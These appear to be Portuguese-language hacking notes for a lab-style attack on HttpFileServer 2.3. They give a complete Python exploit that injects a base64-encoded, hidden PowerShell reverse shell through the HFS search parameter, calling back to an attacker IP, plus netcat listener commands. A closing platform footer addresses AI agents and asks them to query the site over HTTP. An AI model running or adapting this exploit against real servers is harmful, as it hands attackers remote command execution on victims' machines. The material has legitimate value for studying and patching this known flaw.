# HttpFileServer 2.3
Notas de exploração do HttpFileServer 2.3 para RCE no HFS vulnerável, modificação do exploit, entrega de payload PowerShell, execução de reverse shell e configuração de listener.
Um servidor web HttpFileServer 2.3 é descoberto. Esta versão é vulnerável à execução remota de código (RCE).
### **Busca de Exploit**
Comando:
```bash
searchsploit -m windows/remote/49584.py
```
{% embed url="" %}
**Script Python personalizado**
**Script Python personalizado**
Modifique o script para incluir os seguintes parâmetros:
* `LHOST` : seu IP local (VPN).
* `LPORT` : porta local do listener (ex. 4444).
* `RHOST`: IP alvo.
* `RPORT`: porta do serviço vulnerável, por exemplo 80.
```python
import base64
import os
import urllib.request
import urllib.parse
lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80
# Defina o comando a ser gravado em um arquivo
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'
# Codifique o comando em formato base64
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nComando codificado em formato base64...")
# Defina o payload a ser incluído na URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'
# Codifique o payload e envie uma solicitação HTTP GET
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nCodifiquei o payload e enviei uma solicitação HTTP GET ao alvo...")
# Imprima algumas informações
print("/nImprimindo algumas informações para depuração...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)
# Aguarde conexões
print("/nAguardando conexão...")
os.system(f'nc -nlvp {lport}')
```
Configure sua máquina como um listener:
```bash
rlwrap nc -nlvp 4444
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/cms/httpfileserver-2.3-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
